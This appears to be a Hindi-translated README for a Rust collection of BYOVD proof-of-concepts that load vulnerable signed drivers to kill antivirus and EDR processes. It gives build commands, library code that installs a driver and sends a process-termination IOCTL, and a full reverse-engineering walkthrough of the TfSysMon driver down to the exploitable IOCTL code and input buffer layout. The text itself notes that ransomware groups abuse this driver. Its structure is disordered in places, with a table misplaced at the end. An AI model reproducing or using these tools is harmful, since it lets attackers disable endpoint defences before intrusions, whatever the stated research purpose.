BYOVD उन PoCs का संग्रह है जो दर्शाता है कि कमजोर ड्राइवरों का उपयोग करके AV/EDR समाधानों को कैसे निष्क्रिय किया जा सकता है।

इस संग्रह में अप्रलेखित ड्राइवर और वे ड्राइवर शामिल हैं जो LOLDDrivers या माइक्रोसॉफ्ट के अनुशंसित ड्राइवर ब्लॉक नियमों में पहले से कवर हैं।

अपनी प्रारंभिक खोज के बाद से, TfSysMon ड्राइवर को LOLDrivers में जोड़ा गया है और रैनसमवेयर समूहों द्वारा EDRKillShifter टूल का उपयोग करके इसका दुरुपयोग किया जा रहा है, जैसा कि Sophos और ESET द्वारा रिपोर्ट किया गया है।

📚 विषय-सूची

🔍 अवलोकन
🏗️ परियोजना संरचना
🔧 निर्माण
📦 byovd-lib
💡 POCs
🔬 पूर्ण ड्राइवर रिवर्स इंजीनियरिंग प्रक्रिया (x64)
🔗 संदर्भ
⚠️ अस्वीकरण

🔍 अवलोकन

BYOVD तकनीक ने हाल ही में आक्रामक सुरक्षा में लोकप्रियता हासिल की है, विशेष रूप से SpyBoy के Terminator ($3,000 में बेचा गया) और ZeroMemoryEx Blackout परियोजना जैसे टूल के रिलीज़ के साथ। ये टूल कमजोर ड्राइवरों का लाभ उठाकर AV/EDR एजेंटों को निष्क्रिय करते हैं, जिससे पहचान कम करके आगे के हमलों को सुविधाजनक बनाया जा सके।

इस रिपॉजिटरी में शैक्षिक उद्देश्यों के लिए विकसित कई PoCs शामिल हैं, जो शोधकर्ताओं को यह समझने में मदद करते हैं कि इन ड्राइवरों का दुरुपयोग करके प्रक्रियाओं को कैसे समाप्त किया जा सकता है।

🏗️ परियोजना संरचना

परियोजना को Rust Cargo वर्कस्पेस के रूप में व्यवस्थित किया गया है। अधिकांश PoCs एक सामान्य लाइब्रेरी (byovd-lib) साझा करते हैं जो मानक कोड को संभालती है: ड्राइवर सेवा जीवनचक्र, IOCTL डिस्पैच, प्रक्रिया निगरानी, विशेषाधिकार समायोजन, और सफाई। प्रत्येक किलर एक पतला बाइनरी (~50-100 लाइनें) है जो केवल अपने ड्राइवर-विशिष्ट कॉन्फ़िगरेशन को परिभाषित करता है। K7Terminator, Astra64-RW, और Xhunter1-Killer स्वतंत्र हैं — उनके पास अपनी स्वयं की [workspace] घोषणाएँ हैं और वे रूट वर्कस्पेस के माध्यम से नहीं, बल्कि सीधे अपने स्वयं के निर्देशिकाओं से बनाए जाते हैं।``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-RW/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, kernel R/W demo (Shadow SSDT hijack -> SYSTEM) ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

प्रत्येक `*-Killer/` निर्देशिका में अपना स्वयं का `Cargo.toml`, `src/main.rs` (`DriverConfig` impl + CLI), `README.md` (ड्राइवर हैश + उपयोग), और वह मेल खाने वाली `.sys` फ़ाइल होती है जिसे बाइनरी रनटाइम पर लोड करता है।

## 🔧 निर्माण

**पूर्वापेक्षाएँ:** Rust टूलचेन और विंडोज SDK के साथ विज़ुअल स्टूडियो बिल्ड टूल्स।```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

बाइनरीज़ target/release/ में आउटपुट होती हैं। चलाने से पहले संबंधित .sys ड्राइवर फ़ाइल को निष्पादन योग्य के समान निर्देशिका में कॉपी करें।

📦 byovd-lib

byovd-lib वह साझा लाइब्रेरी है जिस पर सभी PoCs (K7Terminator को छोड़कर) आधारित हैं। यह दो पूरक APIs प्रकट करता है -- एक उच्च-स्तरीय घोषणात्मक API मानक "ड्राइवर स्थापित करें, देखते ही मार डालें, साफ़ करें" प्रक्रिया के लिए, और एक निम्न-स्तरीय अनिवार्य API उन किलर्स के लिए जिन्हें एक अनुकूलित प्रवाह की आवश्यकता है (पहले से लोड किए गए ड्राइवर से जुड़ना, कई PIDs में विस्तार करना, संरचित IOCTL बफ़र्स, कस्टम रिट्री लॉजिक, आदि)। दोनों को एक ही बाइनरी में मिलाया जा सकता है।

मॉड्यूल लेआउट```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### हाई-लेवल API: `DriverConfig` ट्रैट + `run()`

बंडल किलर इसी का उपयोग करते हैं। ट्रैट को लागू करें, `byovd_lib::run()` को कॉल करें, हो गया।```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() करता है: preflight_check → सेवा स्थापित करें (SERVICE_DEMAND_START) → StartService → kill-on-sight मॉनिटर (बाहर निकलने के लिए Ctrl+C) → सेवा रोकें और हटाएं।

वैकल्पिक ट्रेट ओवरराइड और उनके डिफ़ॉल्ट:

निम्न-स्तरीय API: अनिवार्य भाग

जब ट्रेट प्रवाह फिट नहीं होता -- जैसे ड्राइवर पहले से लोड है और आप केवल एक IOCTL फायर करना चाहते हैं, आपको एक कस्टम पुनःप्रयास नीति चाहिए, IOCTL सिर्फ PID के बजाय एक संरचित इनपुट लेता है, या आप सभी मेल खाने वाले PID में फैलना चाहते हैं -- तो निचले-स्तरीय भागों को सीधे संयोजित करें।

ड्राइवर जीवनचक्र -- ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**IOCTL dispatch** -- `DeviceHandle` पाँच टाइप किए गए रूप प्रस्तुत करता है:

| Method | Use when |
|---|---|
| विधि | कब उपयोग करें |
| `ioctl<I, O>(code, &input, &mut output)` | दोनों इनपुट और आउटपुट बफ़र, अलग-अलग प्रकार |
| `ioctl_inout<T>(code, &mut data)` | एक ही बफ़र इनपुट + आउटपुट के लिए |
| `ioctl_in<I>(code, &input)` | केवल इनपुट, कोई आउटपुट बफ़र नहीं |
| `ioctl_in_unchecked<I>(code, &input)` | केवल इनपुट, विफलता को अनदेखा करें (`ignore_ioctl_error` का प्रति-कॉल विकल्प) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | रॉ पॉइंटर एस्केप हैच |

टाइप किए गए रूप मैन्युअल `to_ne_bytes()` / `extend_from_slice()` बॉयलरप्लेट को हटाते हैं जब IOCTL एक स्ट्रक्ट लेता है (जैसे `{ pid: u32, padding: [u8; 20] }`)।

**प्रक्रिया खोज** -- `find_pid_by_name(name)` (पहला मिलान) और `find_all_pids_by_name(name)` (सभी मिलान, सिस्टम PIDs ≤ 4 को बाहर करता है)।

**कस्टम मॉनिटर लूप** -- `run_monitor_loop(name, interval, |pid| ...)` एक क्लोज़र लेता है ताकि आप प्रति मिलान जो चाहें कर सकें (कई IOCTLs, संरचित लॉगिंग, PIDs में फैन-आउट, त्रुटि पर पुनः प्रयास)।

**विशेषाधिकार** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` उन ड्राइवरों के लिए जिन्हें स्पष्ट टोकन विशेषाधिकारों की आवश्यकता होती है। `ensure_running_as_local_system()` एक त्रुटि लौटाता है यदि प्रक्रिया `S-1-5-18` के रूप में नहीं चल रही है।

**हैंडल रैपर** -- `WinHandle` (स्वचालित-`CloseHandle`) और `ScHandle` (स्वचालित-`CloseServiceHandle`) `Send + Sync` हैं और थ्रेड्स के बीच ले जाए जा सकते हैं।

### उदाहरण: पहले से लोड किए गए ड्राइवर से जुड़ें, कोई सेवा जीवनचक्र नहीं

यही है जो `UnknownKiller --attach` करता है -- SCM को पूरी तरह छोड़ें, बस डिवाइस खोलें और एक बार IOCTL फायर करें:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

पश्च-संगत उपनाम

FileHandle / ServiceHandle अभी भी WinHandle / ScHandle में हल होते हैं, और get_pid_by_name को find_pid_by_name के लिए एक उपनाम के रूप में रखा गया है, ताकि उन नामों का संदर्भ देने वाला पुराना कोड संकलित होता रहे।

💡 POCs

नीचे इस रिपॉजिटरी में उपलब्ध ड्राइवर और उनके संबंधित PoC दिए गए हैं:

AppRemover-Killer: OPSWAT AppRemover के ardrv.sys को लक्षित करता है।
Astra64-RW: EnTech Taiwan (Astra32 / TVicHW) के astra64.sys को लक्षित करता है -- स्टैंडअलोन कर्नेल R/W PoC।
BdApiUtil-Killer: Baidu AntiVirus (CVE-2024-51324) के BdApiUtil64.sys को लक्षित करता है।
CcProtect-Killer: CnCrypt के CcProtect.sys को लक्षित करता है।
EnPortv-Killer: Guidance EnCase के EnPortv.sys को लक्षित करता है।

🔬 ड्राइवर रिवर्स इंजीनियरिंग की पूरी प्रक्रिया (x64)

यह अनुभाग TfSysMon ड्राइवर का उपयोग करके एक व्यावहारिक उदाहरण के रूप में A-Z रिवर्स इंजीनियरिंग पद्धति को प्रदर्शित करता है। यह प्रक्रिया किसी भी x64 Windows कर्नेल ड्राइवर विश्लेषण पर लागू होती है।

🎯 चरण 0: पूर्व-विश्लेषण - फंक्शन आयात स्क्रीनिंग

रिवर्स इंजीनियरिंग शुरू करने से पहले ड्राइवर आयात की जाँच करें।

एक बुनियादी प्रोसेस किलर ड्राइवर को 2 चीजों की आवश्यकता होती है:

किसी प्रक्रिया पर हैंडल प्राप्त करने का एक तरीका (उदाहरण के लिए ZwOpenProcess या NtOpenProcess)
प्रक्रिया को समाप्त करने का एक तरीका (उदाहरण के लिए ZwTerminateProcess या NtTerminateProcess)

जाँच करें कि ड्राइवर दोनों फंक्शन प्रकारों को आयात करता है या नहीं। यदि किसी ड्राइवर के आयातित फंक्शनों में Nt/ZwOpenProcess और Nt/ZwTerminateProcess दोनों हैं, तो यह एक संभावित प्रोसेस किलर ड्राइवर उम्मीदवार है।

इन आयातों की पुष्टि करने के बाद ही आपको IDA Pro में विस्तृत रिवर्स इंजीनियरिंग के लिए आगे बढ़ना चाहिए।

🛠️ x64 ड्राइवर विश्लेषण के लिए पूर्वापेक्षाएँ

आवश्यक उपकरण:

IDA Pro - स्थैतिक विश्लेषण के लिए ड्राइवर को डिसअसेम्बल करने के लिए
OSRLoader - ड्राइवर को लोड/चलाने के लिए (sc.exe कमांड का विकल्प)

📍 चरण 1: DriverEntry का पता लगाएं और विश्लेषण करें

प्रत्येक Windows ड्राइवर DriverEntry से शुरू होता है - पहले इस फंक्शन का पता लगाएं:

TfSysMon में, DriverEntry इस प्रकार दिखता है:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

**विश्लेषण नोट्स:**
- कोड BugCheckParameter2 और BugCheckParameter3 के साथ कुछ आरंभीकरण करता है
- वास्तविक ड्राइवर आरंभीकरण `sub_17484` में होता है
- `sub_17484(DriverObject)` पर कॉल का अनुसरण करें - यहीं पर वास्तविक ड्राइवर सेटअप होता है

### 📍 चरण 2: ड्राइवर आरंभीकरण श्रृंखला का अनुसरण करें

**आरंभीकरण फ़ंक्शन (`sub_17484`) पर नेविगेट करें:**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

मुख्य रिवर्स इंजीनियरिंग निष्कर्ष:

डिवाइस का नाम: \\Device\\TfSysMon (कर्नेल स्पेस)
सिंबॉलिक लिंक: \\DosDevices\\TfSysMon (यूज़र-मोड में \\.\\TfSysMon के रूप में सुलभ)
डिवाइस प्रकार: 0x22 = FILE_DEVICE_UNKNOWN
IRP हैंडलर: सभी मुख्य फंक्शन sub_17694 की ओर इशारा करते हैं
लक्ष्य फंक्शन: MajorFunction[14] = IRP_MJ_DEVICE_CONTROL हैंडलर

📍 चरण 3: IRP डिस्पैच फंक्शन का विश्लेषण करें

डिस्पैच फंक्शन (sub_17694) पर जाएं:```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

**रिवर्स इंजीनियरिंग विश्लेषण:**
- डिवाइस सत्यापन पहले होता है (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` ऑपरेशन के प्रकार को निर्धारित करता है
- **महत्वपूर्ण**: MajorFunction मान 14 (0xE) और 15 (0xF) `sub_177D8` को कॉल करते हैं
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL प्रसंस्करण
- संवेदनशील कोड पथ है: **IOCTL अनुरोध → sub_177D8**

### 📍 चरण 4: IOCTL हैंडलर का रिवर्स इंजीनियरिंग करें

**IOCTL प्रसंस्करण फ़ंक्शन (`sub_177D8`) पर नेविगेट करें:**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

क्रिटिकल रिवर्स इंजीनियरिंग खोजें:

IOCTL निष्कर्षण: v7 = *(_DWORD *)(a2 + 24) IO_STACK_LOCATION से IOCTL कोड प्राप्त करता है
इनपुट बफर: Irp->AssociatedIrp.MasterIrp में उपयोगकर्ता डेटा होता है
बफर लंबाई: v9 = *(unsigned int *)(a2 + 16) इनपुट बफर का आकार प्राप्त करता है
कमजोर IOCTL: 0xB4A00404 sub_1837C की ओर ले जाता है
आकार जांच: केवल बफर ≥ 0x18 (24 बाइट्स) मान्य करता है - न्यूनतम सत्यापन!

📍 चरण 5: कमजोर फ़ंक्शन का विश्लेषण करें

प्रक्रिया समाप्ति फ़ंक्शन (sub_1837C) पर नेविगेट करें:```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

**फ़ंक्शन विश्लेषण:**
- **इनपुट संरचना**: ड्राइवर कोड विश्लेषण से, हमने बफर लेआउट निर्धारित किया जहाँ PID ऑफसेट +4 पर है
- **इनपुट पार्सिंग**: `v3 = *(void **)(a1 + 4)` ऑफसेट +4 पर इनपुट बफर से PID निकालता है
- **प्रक्रिया खोलना**: न्यूनतम एक्सेस अधिकारों के साथ `ZwOpenProcess` (1u = PROCESS_TERMINATE)
- **कोई सुरक्षा जांच नहीं**: कॉलर विशेषाधिकारों या लक्ष्य प्रक्रिया सुरक्षा का कोई सत्यापन नहीं
- **प्रक्रिया समाप्ति**: `ZwTerminateProcess` पर सीधा कॉल
- **पुनः प्रयास तर्क**: खोलने और समाप्ति दोनों के लिए कई प्रयास
- **कोई भी प्रक्रिया**: SYSTEM खाते के लिए सुलभ किसी भी प्रक्रिया को समाप्त कर सकता है

### 📍 चरण 6: पूर्ण आक्रमण श्रृंखला का मानचित्रण

**पूर्ण रिवर्स इंजीनियरिंग प्रवाह:**
1. **प्रवेश बिंदु**: उपयोगकर्ता `\\.\\TfSysMon` पर `DeviceIoControl` कॉल करता है
2. **IRP निर्माण**: I/O प्रबंधक MajorFunction = 14 के साथ IRP बनाता है
3. **डिस्पैच**: `sub_17694` IOCTL प्रसंस्करण के लिए `sub_177D8` पर रूट करता है
4. **IOCTL जांच**: `sub_177D8` IOCTL कोड `0xB4A00404` और बफर आकार ≥ 24 बाइट्स को मान्य करता है
5. **निष्पादन**: उपयोगकर्ता इनपुट बफर के साथ `sub_1837C` कॉल करता है
6. **समाप्ति**: `sub_1837C` ऑफसेट +4 से PID निकालता है और `ZwTerminateProcess` के माध्यम से प्रक्रिया समाप्त करता है

**इनपुट बफर संरचना (ड्राइवर रिवर्स इंजीनियरिंग से):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

यह पद्धति दर्शाती है कि किसी भी Windows x64 कर्नेल ड्राइवर को व्यवस्थित रूप से रिवर्स इंजीनियर करके, उपयोगकर्ता-मोड संचार से लेकर खतरनाक कर्नेल ऑपरेशन तक के निष्पादन पथ का अनुसरण करके समान कमजोरियों की पहचान कैसे की जाए।

समर्थन 🍺

अगर BYOVD ने आपके रेड टीम संचालन में मदद की है, तो मेरे लिए एक बीयर खरीदने पर विचार करें:

🔗 संदर्भ

एलिस क्लिमेंट-पोमेरेट का ब्लॉग: Finding and Exploiting Process Killer Drivers with LOL for $3000
LOLDrivers: ज्ञात कमजोर ड्राइवरों का एक केंद्रीय भंडार
माइक्रोसॉफ्ट ड्राइवर ब्लॉक नियम: माइक्रोसॉफ्ट के अनुशंसित ड्राइवर ब्लॉक नियम
पावेल योसिफोविच द्वारा विंडोज कर्नेल प्रोग्रामिंग
मार्क ई. रुसिनोविच, एलेक्स इओनेस्कु, डेविड सोलोमन द्वारा विंडोज इंटरनल्स, भाग 1 और 2

⚠️ अस्वीकरण

BYOVD परियोजना केवल शैक्षिक और शोध उद्देश्यों के लिए है। लेखक इन प्रोग्रामों के दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। किसी भी सिस्टम पर इन उपकरणों का उपयोग करने से पहले हमेशा स्पष्ट अनुमति लें।

`device_access()`	`SERVICE_ALL_ACCESS`	`CreateFileW` एक्सेस फ़्लैग्स
`skip_unload()`	`false`	ड्राइवर सफ़ाई छोड़ें (जैसे ड्राइवर जो अनलोड पर BSOD करते हैं)
`ignore_ioctl_error()`	`false`	IOCTL विफलता को सफलता मानें (जैसे NSecKrnl सफलता पर त्रुटि रिपोर्ट करता है)
`ioctl_output_size()`	`0`	अपेक्षित आउटपुट बफ़र आकार बाइट्स में
`preflight_check()`	`Ok(())`	प्री-लॉन्च सत्यापन (जैसे LocalSystem जाँच)

BYOVD

सबसे लोकप्रिय